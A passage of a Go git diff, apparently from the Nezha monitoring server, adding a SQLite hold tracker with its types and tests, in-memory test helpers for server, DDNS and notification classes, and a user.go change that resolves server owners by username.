b/service/singleton/sqlite_hold_tracker_terminal_arbiter_agentcompat_linux.go @@ -0,0 +1,29 @@ +//go:build agentcompat && linux + +package singleton + +type sqliteAttributionTerminalArbitration uint8 + +const ( + sqliteAttributionTerminalNoReservation sqliteAttributionTerminalArbitration = iota + sqliteAttributionTerminalReleaseWon + sqliteAttributionTerminalRollbackGranted + sqliteAttributionTerminalRollbackReserved +) + +func (tracker *SQLiteHoldTracker) ArbitrateSQLiteCommitWaitingTerminal(transaction SQLiteTransaction) sqliteAttributionTerminalArbitration { + tracker.mu.Lock() + defer tracker.mu.Unlock() + if !tracker.activeSessionHasSelectedTransactionLocked(transaction) { + if _, reserved := tracker.terminalArbitrations[transaction]; reserved { + return sqliteAttributionTerminalRollbackReserved + } + return sqliteAttributionTerminalNoReservation + } + if tracker.session.released { + return sqliteAttributionTerminalReleaseWon + } + tracker.abortSQLiteHoldLocked(ErrSQLiteHoldAborted) + tracker.terminalArbitrations[transaction] = struct{}{} + return sqliteAttributionTerminalRollbackGranted +} diff --git a/service/singleton/sqlite_hold_tracker_types_agentcompat_linux.go b/service/singleton/sqlite_hold_tracker_types_agentcompat_linux.go new file mode 100644 index 00000000..6ce57ee6 --- /dev/null +++ b/service/singleton/sqlite_hold_tracker_types_agentcompat_linux.go @@ -0,0 +1,169 @@ +//go:build agentcompat && linux + +package singleton + +import ( + "errors" + "sync" + "sync/atomic" +) + +var ( + ErrSQLiteHoldSessionActive = errors.New("sqlite hold session already active") + ErrSQLiteHoldAmbiguousCandidate = errors.New("sqlite hold has multiple matching candidates") + ErrSQLiteHoldNotSelected = errors.New("sqlite hold transaction is not selected") + ErrSQLiteHoldFinalizationStarted = errors.New("sqlite hold finalization already started") + ErrSQLiteHoldFinalizationNotStarted = errors.New("sqlite hold finalization not started") + ErrSQLiteHoldStaleSession = errors.New("sqlite hold session is stale") + ErrSQLiteHoldAborted = errors.New("sqlite hold session aborted") + ErrSQLiteHoldTransactionActive = errors.New("sqlite hold transaction already active") + ErrSQLiteHoldAtomicWriteRecorded = errors.New("sqlite hold atomic write already recorded") + ErrSQLiteHoldEvidenceFrozen = errors.New("sqlite hold selected evidence is frozen") + ErrSQLiteHoldInvalidWaitTarget = errors.New("sqlite hold wait target is invalid") +) + +type SQLiteConnectionIdentity uint64 +type SQLiteTransactionIdentity uint64 + +type SQLiteJournalIdentity struct { + MountID uint64 + DeviceMajor uint32 + DeviceMinor uint32 + Inode uint64 + BirthSeconds int64 + BirthNanoseconds uint32 +} + +type SQLiteOperation string + +const ( + SQLiteOperationInsert SQLiteOperation = "insert" + SQLiteOperationUpdate SQLiteOperation = "update" + SQLiteOperationDelete SQLiteOperation = "delete" +) + +type SQLiteTransaction struct { + Connection SQLiteConnectionIdentity + Identity SQLiteTransactionIdentity +} + +type SQLiteExecutionOrigin struct { + Operation SQLiteOperation + Table string + StackHash uint64 + FirstNezhaFrame string +} + +type SQLiteUpdateObservation struct { + Operation SQLiteOperation + Table string + Journal SQLiteJournalIdentity +} + +type SQLiteWriteObservation struct { + Origin SQLiteExecutionOrigin + Update SQLiteUpdateObservation +} + +type SQLiteHoldSelectionMode uint8 + +const ( + SQLiteHoldSelectionModeKnownJournal SQLiteHoldSelectionMode = iota + 1 + SQLiteHoldSelectionModeNextWriter +) + +type SQLiteHoldSession struct{ identity uint64 } + +func (session SQLiteHoldSession) ID() uint64 { return session.identity } + +type SQLiteHoldSnapshot struct { + SessionID uint64 + Mode SQLiteHoldSelectionMode + Selected bool + Transaction SQLiteTransaction + Operation SQLiteOperation + Table string + StackHash uint64 + FirstNezhaFrame string + Journal SQLiteJournalIdentity + Finalizing bool + Released bool + Aborted bool +} + +type SQLiteHoldFinalization struct { + done chan struct{} + err error +} + +type SQLiteHoldWaitTarget uint8 + +const ( + SQLiteHoldWaitSelected SQLiteHoldWaitTarget = iota + 1 + SQLiteHoldWaitFinalizing +) + +func (finalization *SQLiteHoldFinalization) Wait() error { + <-finalization.done + return finalization.err +} + +func (finalization *SQLiteHoldFinalization) Released() bool { + select { + case <-finalization.done: + return finalization.err == nil + default: + return false + } +} + +type sqliteHeldTransaction struct { + transaction SQLiteTransaction + origin SQLiteExecutionOrigin + update SQLiteUpdateObservation + hasUpdate bool + write SQLiteWriteObservation + hasWrite bool + finalizing bool +} + +type sqliteHoldSessionState struct { + id SQLiteHoldSession + mode SQLiteHoldSelectionMode + journal SQLiteJournalIdentity + selected SQLiteTransaction + hasSelected bool + released bool + finalization *SQLiteHoldFinalization + notify chan struct{} +} + +type sqliteHoldTerminalState struct { + id SQLiteHoldSession + selected SQLiteTransaction + hasSelected bool + released bool + cause error +} + +// SQLiteHoldTracker linearizes state transitions; finalization waits only after releasing mu. +type SQLiteHoldTracker struct { + mu sync.Mutex + attributionEnabled *atomic.Bool + nextSession uint64 + transactions map[SQLiteTransaction]*sqliteHeldTransaction + session *sqliteHoldSessionState + terminal *sqliteHoldTerminalState + causes map[SQLiteTransaction]error + terminalArbitrations map[SQLiteTransaction]struct{} +} + +func NewSQLiteHoldTracker() *SQLiteHoldTracker { + return &SQLiteHoldTracker{transactions: make(map[SQLiteTransaction]*sqliteHeldTransaction), causes: make(map[SQLiteTransaction]error), terminalArbitrations: make(map[SQLiteTransaction]struct{})} +} + +func newSQLiteAttributionHoldTracker(enabled *atomic.Bool) *SQLiteHoldTracker { + tracker := NewSQLiteHoldTracker() + tracker.attributionEnabled = enabled + return tracker +} diff --git a/service/singleton/sqlite_hold_tracker_unbound_agentcompat_linux_test.go b/service/singleton/sqlite_hold_tracker_unbound_agentcompat_linux_test.go new file mode 100644 index 00000000..cde49fba --- /dev/null +++ b/service/singleton/sqlite_hold_tracker_unbound_agentcompat_linux_test.go @@ -0,0 +1,149 @@ +//go:build agentcompat && linux + +package singleton + +import ( + "errors" + "testing" +) + +func TestSQLiteHoldTrackerNextWriterSelectsFutureUpdateAndPublishesSnapshot(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + session, err := tracker.ArmNextSQLiteHold() + if err != nil { + t.Fatal(err) + } + before, err := tracker.SQLiteHoldSnapshot(session) + if err != nil { + t.Fatal(err) + } + transaction := sqliteHoldTestTransaction(22) + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + + // When + if err := tracker.RecordSQLiteExecution(transaction, SQLiteExecutionOrigin{ + Operation: SQLiteOperationInsert, Table: "settings", StackHash: 34, FirstNezhaFrame: "singleton.next", + }); err != nil { + t.Fatal(err) + } + if err := tracker.RecordSQLiteUpdate(transaction, SQLiteUpdateObservation{ + Operation: SQLiteOperationInsert, Table: "settings", Journal: sqliteHoldTestJournal, + }); err != nil { + t.Fatal(err) + } + after, err := tracker.SQLiteHoldSnapshot(session) + + // Then + if err != nil { + t.Fatal(err) + } + if before.SessionID != session.ID() || before.Mode != SQLiteHoldSelectionModeNextWriter || before.Selected { + t.Fatalf("unexpected unselected snapshot: %+v", before) + } + if !after.Selected || after.Transaction != transaction || after.Operation != SQLiteOperationInsert || after.Table != "settings" || + after.StackHash != 34 || after.FirstNezhaFrame != "singleton.next" || after.Journal != sqliteHoldTestJournal { + t.Fatalf("unexpected selected snapshot: %+v", after) + } +} + +func TestSQLiteHoldTrackerNextWriterSelectsOneActiveUpdate(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + transaction := sqliteHoldTestTransaction(23) + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + recordSQLiteHoldTestUpdate(t, tracker, transaction) + + // When + session, err := tracker.ArmNextSQLiteHold() + snapshot, snapshotErr := tracker.SQLiteHoldSnapshot(session) + + // Then + if err != nil || snapshotErr != nil { + t.Fatalf("arm=%v snapshot=%v", err, snapshotErr) + } + if !snapshot.Selected || snapshot.Journal != sqliteHoldTestJournal { + t.Fatalf("unexpected active selection snapshot: %+v", snapshot) + } +} + +func TestSQLiteHoldTrackerNextWriterAbortsMultipleActiveUpdates(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + for _, transaction := range []SQLiteTransaction{sqliteHoldTestTransaction(24), sqliteHoldTestTransaction(25)} { + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + recordSQLiteHoldTestUpdate(t, tracker, transaction) + } + + // When + _, err := tracker.ArmNextSQLiteHold() + + // Then + if !errors.Is(err, ErrSQLiteHoldAmbiguousCandidate) { + t.Fatalf("expected ambiguous active updates, got %v", err) + } +} + +func TestSQLiteHoldTrackerNextWriterAbortsDuplicateFutureUpdate(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + session, err := tracker.ArmNextSQLiteHold() + if err != nil { + t.Fatal(err) + } + first := sqliteHoldTestTransaction(26) + second := sqliteHoldTestTransaction(27) + for _, transaction := range []SQLiteTransaction{first, second} { + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + } + if err := tracker.RecordSQLiteUpdate(first, SQLiteUpdateObservation{ + Operation: SQLiteOperationDelete, Table: "settings", Journal: sqliteHoldTestJournal, + }); err != nil { + t.Fatal(err) + } + + // When + err = tracker.RecordSQLiteUpdate(second, SQLiteUpdateObservation{ + Operation: SQLiteOperationUpdate, Table: "settings", Journal: sqliteHoldTestJournal, + }) + + // Then + if !errors.Is(err, ErrSQLiteHoldAmbiguousCandidate) { + t.Fatalf("expected ambiguous future updates, got %v", err) + } + if _, err := tracker.SQLiteHoldSnapshot(session); !errors.Is(err, ErrSQLiteHoldStaleSession) { + t.Fatalf("expected stale session after duplicate future update, got %v", err) + } +} + +func TestSQLiteHoldTrackerNextWriterRequiresFinalizationBeforeReleaseAndStalesAfterAbort(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + session, err := tracker.ArmNextSQLiteHold() + if err != nil { + t.Fatal(err) + } + + // When + releaseErr := tracker.ReleaseSQLiteHold(session) + abortErr := tracker.AbortSQLiteHold(session) + + // Then + if !errors.Is(releaseErr, ErrSQLiteHoldFinalizationNotStarted) { + t.Fatalf("expected release rejection, got %v", releaseErr) + } + if abortErr != nil { + t.Fatal(abortErr) + } + if _, err := tracker.SQLiteHoldSnapshot(session); !errors.Is(err, ErrSQLiteHoldStaleSession) { + t.Fatalf("expected stale aborted session, got %v", err) + } +} diff --git a/service/singleton/sqlite_hold_tracker_wait_agentcompat_linux_test.go b/service/singleton/sqlite_hold_tracker_wait_agentcompat_linux_test.go new file mode 100644 index 00000000..612feed7 --- /dev/null +++ b/service/singleton/sqlite_hold_tracker_wait_agentcompat_linux_test.go @@ -0,0 +1,238 @@ +//go:build agentcompat && linux + +package singleton + +import ( + "context" + "errors" + "testing" +) + +func TestSQLiteHoldTrackerWaitSelectedAndFinalizingObserveTransitionsWithoutLostWakeup(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + session, err := tracker.ArmNextSQLiteHold() + if err != nil { + t.Fatal(err) + } + transaction := sqliteHoldTestTransaction(61) + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + recordSQLiteHoldTestUpdate(t, tracker, transaction) + + // When + selected, selectedErr := tracker.WaitSQLiteHold(context.Background(), session, SQLiteHoldWaitSelected) + if _, err := tracker.BeginSQLiteFinalization(transaction); err != nil { + t.Fatal(err) + } + finalizing, finalizingErr := tracker.WaitSQLiteHold(context.Background(), session, SQLiteHoldWaitFinalizing) + + // Then + if selectedErr != nil || !selected.Selected { + t.Fatalf("selected=%+v err=%v", selected, selectedErr) + } + if finalizingErr != nil || !finalizing.Finalizing { + t.Fatalf("finalizing=%+v err=%v", finalizing, finalizingErr) + } +} + +func TestSQLiteHoldTrackerWaitCancellationLeavesSessionActive(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + session, err := tracker.ArmNextSQLiteHold() + if err != nil { + t.Fatal(err) + } + ctx, cancel := context.WithCancel(context.Background()) + cancel() + + // When + _, waitErr := tracker.WaitSQLiteHold(ctx, session, SQLiteHoldWaitSelected) + snapshot, snapshotErr := tracker.SQLiteHoldSnapshot(session) + + // Then + if !errors.Is(waitErr, context.Canceled) { + t.Fatalf("wait error = %v, want context cancellation", waitErr) + } + if snapshotErr != nil || snapshot.Selected { + t.Fatalf("snapshot=%+v err=%v", snapshot, snapshotErr) + } +} + +func TestSQLiteHoldTrackerWaitReturnsTerminalAbortAndAmbiguityCauses(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + session, err := tracker.ArmNextSQLiteHold() + if err != nil { + t.Fatal(err) + } + abortResult := make(chan error, 1) + go func() { + _, waitErr := tracker.WaitSQLiteHold(context.Background(), session, SQLiteHoldWaitSelected) + abortResult <- waitErr + }() + + // When + if err := tracker.AbortSQLiteHold(session); err != nil { + t.Fatal(err) + } + abortErr := <-abortResult + if _, err := tracker.ArmNextSQLiteHold(); err != nil { + t.Fatal(err) + } + first, second := sqliteHoldTestTransaction(62), sqliteHoldTestTransaction(63) + for _, transaction := range []SQLiteTransaction{first, second} { + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + } + if err := tracker.RecordSQLiteUpdate(first, SQLiteUpdateObservation{Operation: SQLiteOperationUpdate, Table: "settings", Journal: sqliteHoldTestJournal}); err != nil { + t.Fatal(err) + } + ambiguityErr := tracker.RecordSQLiteUpdate(second, SQLiteUpdateObservation{Operation: SQLiteOperationUpdate, Table: "settings", Journal: sqliteHoldTestJournal}) + + // Then + if !errors.Is(abortErr, ErrSQLiteHoldAborted) { + t.Fatalf("abort waiter error = %v", abortErr) + } + if !errors.Is(ambiguityErr, ErrSQLiteHoldAmbiguousCandidate) { + t.Fatalf("ambiguity error = %v", ambiguityErr) + } + if _, lookupErr := tracker.BeginSQLiteCommitFinalization(first); !errors.Is(lookupErr, ErrSQLiteHoldAmbiguousCandidate) { + t.Fatalf("ambiguity lookup error = %v", lookupErr) + } +} + +func TestSQLiteHoldTrackerCommitFinalizationReturnsSelectedAbortCause(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + transaction := sqliteHoldTestTransaction(64) + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + recordSQLiteHoldTestUpdate(t, tracker, transaction) + session, err := tracker.ArmNextSQLiteHold() + if err != nil { + t.Fatal(err) + } + if err := tracker.AbortSQLiteHold(session); err != nil { + t.Fatal(err) + } + + // When + _, selectedErr := tracker.BeginSQLiteCommitFinalization(transaction) + _, unselectedErr := tracker.BeginSQLiteCommitFinalization(sqliteHoldTestTransaction(65)) + + // Then + if !errors.Is(selectedErr, ErrSQLiteHoldAborted) { + t.Fatalf("selected aborted lookup error = %v", selectedErr) + } + if !errors.Is(unselectedErr, ErrSQLiteHoldNotSelected) { + t.Fatalf("unselected lookup error = %v", unselectedErr) + } +} + +func TestSQLiteHoldTrackerCommitFinalizationPreservesCauseAcrossLaterLifecycle(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + first := sqliteHoldTestTransaction(70) + if err := tracker.BeginSQLiteTransaction(first); err != nil { + t.Fatal(err) + } + recordSQLiteHoldTestUpdate(t, tracker, first) + firstSession, err := tracker.ArmNextSQLiteHold() + if err != nil { + t.Fatal(err) + } + if err := tracker.AbortSQLiteHold(firstSession); err != nil { + t.Fatal(err) + } + second := sqliteHoldTestTransaction(71) + if err := tracker.BeginSQLiteTransaction(second); err != nil { + t.Fatal(err) + } + secondJournal := SQLiteJournalIdentity{Inode: 72} + if err := tracker.RecordSQLiteUpdate(second, SQLiteUpdateObservation{Operation: SQLiteOperationUpdate, Table: "settings", Journal: secondJournal}); err != nil { + t.Fatal(err) + } + secondSession, err := tracker.ArmSQLiteHold(secondJournal) + if err != nil { + t.Fatal(err) + } + if err := tracker.AbortSQLiteHold(secondSession); err != nil { + t.Fatal(err) + } + + // When + _, lookupErr := tracker.BeginSQLiteCommitFinalization(first) + + // Then + if !errors.Is(lookupErr, ErrSQLiteHoldAborted) { + t.Fatalf("first lifecycle abort cause after second lifecycle = %v", lookupErr) + } +} + +func TestSQLiteHoldTrackerWaitSelectedReturnsAbortWhenSelectedTransactionFinishes(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + transaction := sqliteHoldTestTransaction(68) + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + recordSQLiteHoldTestUpdate(t, tracker, transaction) + session, err := tracker.ArmNextSQLiteHold() + if err != nil { + t.Fatal(err) + } + result := make(chan error, 1) + go func() { + _, waitErr := tracker.WaitSQLiteHold(context.Background(), session, SQLiteHoldWaitFinalizing) + result <- waitErr + }() + + // When + if err := tracker.FinishSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + + // Then + if waitErr := <-result; !errors.Is(waitErr, ErrSQLiteHoldAborted) { + t.Fatalf("finished selected transaction wait error = %v", waitErr) + } +} + +func TestSQLiteHoldTrackerWaitTreatsFinishedReleasedSessionAsSelectedAndFinalizing(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + transaction := sqliteHoldTestTransaction(69) + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + recordSQLiteHoldTestUpdate(t, tracker, transaction) + session, err := tracker.ArmNextSQLiteHold() + if err != nil { + t.Fatal(err) + } + if _, err := tracker.BeginSQLiteFinalization(transaction); err != nil { + t.Fatal(err) + } + if err := tracker.ReleaseSQLiteHold(session); err != nil { + t.Fatal(err) + } + if err := tracker.FinishSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + + // When + selected, selectedErr := tracker.WaitSQLiteHold(context.Background(), session, SQLiteHoldWaitSelected) + finalizing, finalizingErr := tracker.WaitSQLiteHold(context.Background(), session, SQLiteHoldWaitFinalizing) + + // Then + if selectedErr != nil || !selected.Released || !selected.Selected { + t.Fatalf("selected=%+v err=%v", selected, selectedErr) + } + if finalizingErr != nil || !finalizing.Released || !finalizing.Finalizing { + t.Fatalf("finalizing=%+v err=%v", finalizing, finalizingErr) + } +} diff --git a/service/singleton/sqlite_hold_tracker_write_agentcompat_linux_test.go b/service/singleton/sqlite_hold_tracker_write_agentcompat_linux_test.go new file mode 100644 index 00000000..db669b9b --- /dev/null +++ b/service/singleton/sqlite_hold_tracker_write_agentcompat_linux_test.go @@ -0,0 +1,215 @@ +//go:build agentcompat && linux + +package singleton + +import ( + "errors" + "testing" +) + +func sqliteHoldTestWrite(operation SQLiteOperation, table string, stackHash uint64, journal SQLiteJournalIdentity) SQLiteWriteObservation { + return SQLiteWriteObservation{ + Origin: SQLiteExecutionOrigin{Operation: operation, Table: table, StackHash: stackHash, FirstNezhaFrame: "singleton.write"}, + Update: SQLiteUpdateObservation{Operation: operation, Table: table, Journal: journal}, + } +} + +func TestSQLiteHoldTrackerRecordsAtomicFirstWriteAttribution(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + transaction := sqliteHoldTestTransaction(41) + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + session, err := tracker.ArmNextSQLiteHold() + if err != nil { + t.Fatal(err) + } + + // When + err = tracker.RecordSQLiteWrite(transaction, sqliteHoldTestWrite(SQLiteOperationInsert, "settings", 51, sqliteHoldTestJournal)) + snapshot, snapshotErr := tracker.SQLiteHoldSnapshot(session) + + // Then + if err != nil || snapshotErr != nil { + t.Fatalf("write=%v snapshot=%v", err, snapshotErr) + } + if !snapshot.Selected || snapshot.Transaction != transaction || snapshot.Operation != SQLiteOperationInsert || + snapshot.Table != "settings" || snapshot.StackHash != 51 || snapshot.FirstNezhaFrame != "singleton.write" || + snapshot.Journal != sqliteHoldTestJournal { + t.Fatalf("unexpected atomic snapshot: %+v", snapshot) + } +} + +func TestSQLiteHoldTrackerPreservesFirstWriteForRepeatedSameTransaction(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + transaction := sqliteHoldTestTransaction(42) + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + session, err := tracker.ArmNextSQLiteHold() + if err != nil { + t.Fatal(err) + } + if err := tracker.RecordSQLiteWrite(transaction, sqliteHoldTestWrite(SQLiteOperationUpdate, "first", 52, sqliteHoldTestJournal)); err != nil { + t.Fatal(err) + } + + // When + err = tracker.RecordSQLiteWrite(transaction, sqliteHoldTestWrite(SQLiteOperationDelete, "later", 53, SQLiteJournalIdentity{Inode: 98})) + snapshot, snapshotErr := tracker.SQLiteHoldSnapshot(session) + + // Then + if err != nil || snapshotErr != nil { + t.Fatalf("repeat=%v snapshot=%v", err, snapshotErr) + } + if snapshot.Operation != SQLiteOperationUpdate || snapshot.Table != "first" || snapshot.StackHash != 52 || snapshot.Journal != sqliteHoldTestJournal { + t.Fatalf("repeated callback changed first write: %+v", snapshot) + } +} + +func TestSQLiteHoldTrackerAbortsDifferentAtomicWriterBeforeRelease(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + session, err := tracker.ArmNextSQLiteHold() + if err != nil { + t.Fatal(err) + } + first, second := sqliteHoldTestTransaction(43), sqliteHoldTestTransaction(44) + for _, transaction := range []SQLiteTransaction{first, second} { + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + } + if err := tracker.RecordSQLiteWrite(first, sqliteHoldTestWrite(SQLiteOperationInsert, "first", 54, sqliteHoldTestJournal)); err != nil { + t.Fatal(err) + } + + // When + err = tracker.RecordSQLiteWrite(second, sqliteHoldTestWrite(SQLiteOperationDelete, "second", 55, sqliteHoldTestJournal)) + + // Then + if !errors.Is(err, ErrSQLiteHoldAmbiguousCandidate) { + t.Fatalf("expected ambiguity, got %v", err) + } + if _, err := tracker.SQLiteHoldSnapshot(session); !errors.Is(err, ErrSQLiteHoldStaleSession) { + t.Fatalf("expected stale aborted session, got %v", err) + } +} + +func TestSQLiteHoldTrackerKnownJournalMakesFirstMismatchedWriteIneligible(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + transaction := sqliteHoldTestTransaction(45) + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + session, err := tracker.ArmSQLiteHold(sqliteHoldTestJournal) + if err != nil { + t.Fatal(err) + } + if err := tracker.RecordSQLiteWrite(transaction, sqliteHoldTestWrite(SQLiteOperationUpdate, "wrong", 56, SQLiteJournalIdentity{Inode: 97})); err != nil { + t.Fatal(err) + } + + // When + err = tracker.RecordSQLiteWrite(transaction, sqliteHoldTestWrite(SQLiteOperationUpdate, "matching", 57, sqliteHoldTestJournal)) + snapshot, snapshotErr := tracker.SQLiteHoldSnapshot(session) + + // Then + if err != nil || snapshotErr != nil { + t.Fatalf("later write=%v snapshot=%v", err, snapshotErr) + } + if snapshot.Selected || snapshot.Journal != sqliteHoldTestJournal { + t.Fatalf("mismatched first write selected session: %+v", snapshot) + } +} + +func TestSQLiteHoldTrackerRejectsAtomicWriteAfterFinalization(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + transaction := sqliteHoldTestTransaction(46) + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + session, err := tracker.ArmNextSQLiteHold() + if err != nil { + t.Fatal(err) + } + first := sqliteHoldTestWrite(SQLiteOperationInsert, "first", 58, sqliteHoldTestJournal) + if err := tracker.RecordSQLiteWrite(transaction, first); err != nil { + t.Fatal(err) + } + if _, err := tracker.BeginSQLiteFinalization(transaction); err != nil { + t.Fatal(err) + } + + // When + err = tracker.RecordSQLiteWrite(transaction, sqliteHoldTestWrite(SQLiteOperationDelete, "later", 59, SQLiteJournalIdentity{Inode: 96})) + snapshot, snapshotErr := tracker.SQLiteHoldSnapshot(session) + + // Then + if !errors.Is(err, ErrSQLiteHoldFinalizationStarted) || snapshotErr != nil { + t.Fatalf("write=%v snapshot=%v", err, snapshotErr) + } + if snapshot.Operation != first.Update.Operation || snapshot.Table != first.Update.Table || snapshot.StackHash != first.Origin.StackHash || snapshot.Journal != first.Update.Journal { + t.Fatalf("finalizing atomic write changed snapshot: %+v", snapshot) + } +} + +func TestSQLiteHoldTrackerRejectsLegacyWritesAfterAtomicFirstWrite(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + transaction := sqliteHoldTestTransaction(47) + if err := tracker.BeginSQLiteTransaction(transaction); err != nil { + t.Fatal(err) + } + journalA := sqliteHoldTestJournal + journalB := SQLiteJournalIdentity{Inode: 95} + session, err := tracker.ArmSQLiteHold(journalA) + if err != nil { + t.Fatal(err) + } + first := sqliteHoldTestWrite(SQLiteOperationInsert, "atomic", 60, journalB) + if err := tracker.RecordSQLiteWrite(transaction, first); err != nil { + t.Fatal(err) + } + + // When + executionErr := tracker.RecordSQLiteExecution(transaction, SQLiteExecutionOrigin{ + Operation: SQLiteOperationUpdate, Table: "legacy", StackHash: 61, FirstNezhaFrame: "singleton.legacy", + }) + updateErr := tracker.RecordSQLiteUpdate(transaction, SQLiteUpdateObservation{ + Operation: SQLiteOperationUpdate, Table: "legacy", Journal: journalA, + }) + snapshot, snapshotErr := tracker.SQLiteHoldSnapshot(session) + + // Then + if !errors.Is(executionErr, ErrSQLiteHoldAtomicWriteRecorded) || !errors.Is(updateErr, ErrSQLiteHoldAtomicWriteRecorded) { + t.Fatalf("execution=%v update=%v", executionErr, updateErr) + } + if snapshotErr != nil { + t.Fatal(snapshotErr) + } + if snapshot.Selected || snapshot.Operation != "" || snapshot.Journal != journalA { + t.Fatalf("legacy write selected mismatched atomic transaction: %+v", snapshot) + } + if _, err := tracker.BeginSQLiteFinalization(transaction); !errors.Is(err, ErrSQLiteHoldNotSelected) { + t.Fatalf("expected mismatched atomic transaction to remain unselected, got %v", err) + } +} + +func TestSQLiteHoldTrackerRejectsAtomicWriteForUnregisteredTransaction(t *testing.T) { + // Given + tracker := NewSQLiteHoldTracker() + transaction := sqliteHoldTestTransaction(48) + + // When + err := tracker.RecordSQLiteWrite(transaction, sqliteHoldTestWrite(SQLiteOperationInsert, "settings", 62, sqliteHoldTestJournal)) + + // Then + if !errors.Is(err, ErrSQLiteHoldNotSelected) { + t.Fatalf("expected unregistered atomic write rejection, got %v", err) + } +} diff --git a/service/singleton/testhelpers.go b/service/singleton/testhelpers.go new file mode 100644 index 00000000..8e889a27 --- /dev/null +++ b/service/singleton/testhelpers.go @@ -0,0 +1,70 @@ +package singleton + +import "github.com/nezhahq/nezha/model" + +// NewEmptyServerClassForTest 构造一个不依赖 DB 的空 ServerClass，仅用于单测。 +// 生产路径请用 NewServerClass。 +func NewEmptyServerClassForTest() *ServerClass { + sc := &ServerClass{ + class: class[uint64, *model.Server]{ + list: make(map[uint64]*model.Server), + }, + uuidToID: make(map[string]uint64), + } + model.OwnerServerIDsLookup = sc.ownerServerIDs + model.AllServerIDsLookup = sc.allServerIDs + model.OwnerIsAdminLookup = ownerIsAdmin + return sc +} + +// InsertForTest 把一个 server 直接塞进内存表与排序快照，跳过 DB & InitServer 逻辑。 +// 调用方需保证 server.ID 已经设置。 +func (c *ServerClass) InsertForTest(s *model.Server) { + c.lockLifecycleWrite() + defer c.unlockLifecycleWrite() + + c.listMu.Lock() + c.list[s.ID] = s + if s.UUID != "" { + c.uuidToID[s.UUID] = s.ID + } + c.listMu.Unlock() + c.sortList() +} + +// NewEmptyDDNSClassForTest 构造一个不依赖 DB 的空 DDNSClass，仅用于单测。 +func NewEmptyDDNSClassForTest() *DDNSClass { + return &DDNSClass{ + class: class[uint64, *model.DDNSProfile]{ + list: make(map[uint64]*model.DDNSProfile), + }, + } +} + +// InsertForTest 把一个 DDNS profile 直接塞进内存表，跳过 DB。 +func (c *DDNSClass) InsertForTest(p *model.DDNSProfile) { + c.listMu.Lock() + c.list[p.ID] = p + c.listMu.Unlock() + c.sortList() +} + +// NewEmptyNotificationClassForTest 构造空 NotificationClass。 +func NewEmptyNotificationClassForTest() *NotificationClass { + return &NotificationClass{ + class: class[uint64, *model.Notification]{ + list: make(map[uint64]*model.Notification), + }, + groupToIDList: make(map[uint64]map[uint64]*model.Notification), + idToGroupList: make(map[uint64]map[uint64]struct{}), + groupList: make(map[uint64]string), + } +} + +// InsertForTest 把一个 Notification 直接塞进内存表。 +func (c *NotificationClass) InsertForTest(n *model.Notification) { + c.listMu.Lock() + c.list[n.ID] = n + c.listMu.Unlock() + c.sortList() +} diff --git a/service/singleton/user.go b/service/singleton/user.go index f3368bd7..7bfb5d9e 100644 --- a/service/singleton/user.go +++ b/service/singleton/user.go @@ -23,7 +23,10 @@ func initUser() { var users []model.User DB.Find(&users) - // for backward compatibility + // Backward compatibility for pre-user-scoped Agents. AgentSecretKey is a + // deployment-wide migration/master credential, so user 0 is intentionally + // not tenant-scoped. Do not remove this mapping until every legacy Agent has + // rotated to a per-user/per-Agent credential; doing so would disconnect them. UserInfoMap[0] = model.UserInfo{ Role: model.RoleAdmin, AgentSecret: Conf.AgentSecretKey, @@ -40,10 +43,34 @@ func initUser() { UserInfoMap[u.ID] = model.UserInfo{ Role: u.Role, + Username: u.Username, AgentSecret: u.AgentSecret, } AgentSecretToUserId[u.AgentSecret] = u.ID } + + model.ServerOwnerLookup = lookupServerOwner +} + +// lookupServerOwner resolves Server.UserID into a display-ready owner +// record for model.Server.MarshalJSON. uid=0 is the legacy global agent +// secret (a pseudo-owner with no User row) and intentionally returns +// ok=false with no username; the frontend renders it as "Global". Other +// uids return ok=false when the user has been deleted, so the JSON still +// carries the bare id and the frontend can render an "Unknown (#)" +// placeholder. RLock is required because OnUserUpdate / OnUserDelete may +// mutate UserInfoMap concurrently with serialization. +func lookupServerOwner(uid uint64) (model.ServerOwnerInfo, bool) { + if uid == 0 { + return model.ServerOwnerInfo{}, false + } + UserLock.RLock() + info, ok := UserInfoMap[uid] + UserLock.RUnlock() + if !ok { + return model.ServerOwnerInfo{}, false + } + return model.ServerOwnerInfo{ID: uid, Username: info.Username}, true } func 